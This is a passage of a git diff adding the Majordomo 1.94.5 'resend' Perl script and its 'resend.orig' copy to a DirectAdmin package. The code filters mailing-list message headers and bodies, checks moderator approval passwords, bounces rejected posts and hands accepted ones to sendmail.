!(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig new file mode 100644 index 0000000..4ffce5a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig @@ -0,0 +1,969 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +require "getopts.pl"; +&Getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +require "ctime.pl"; # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # 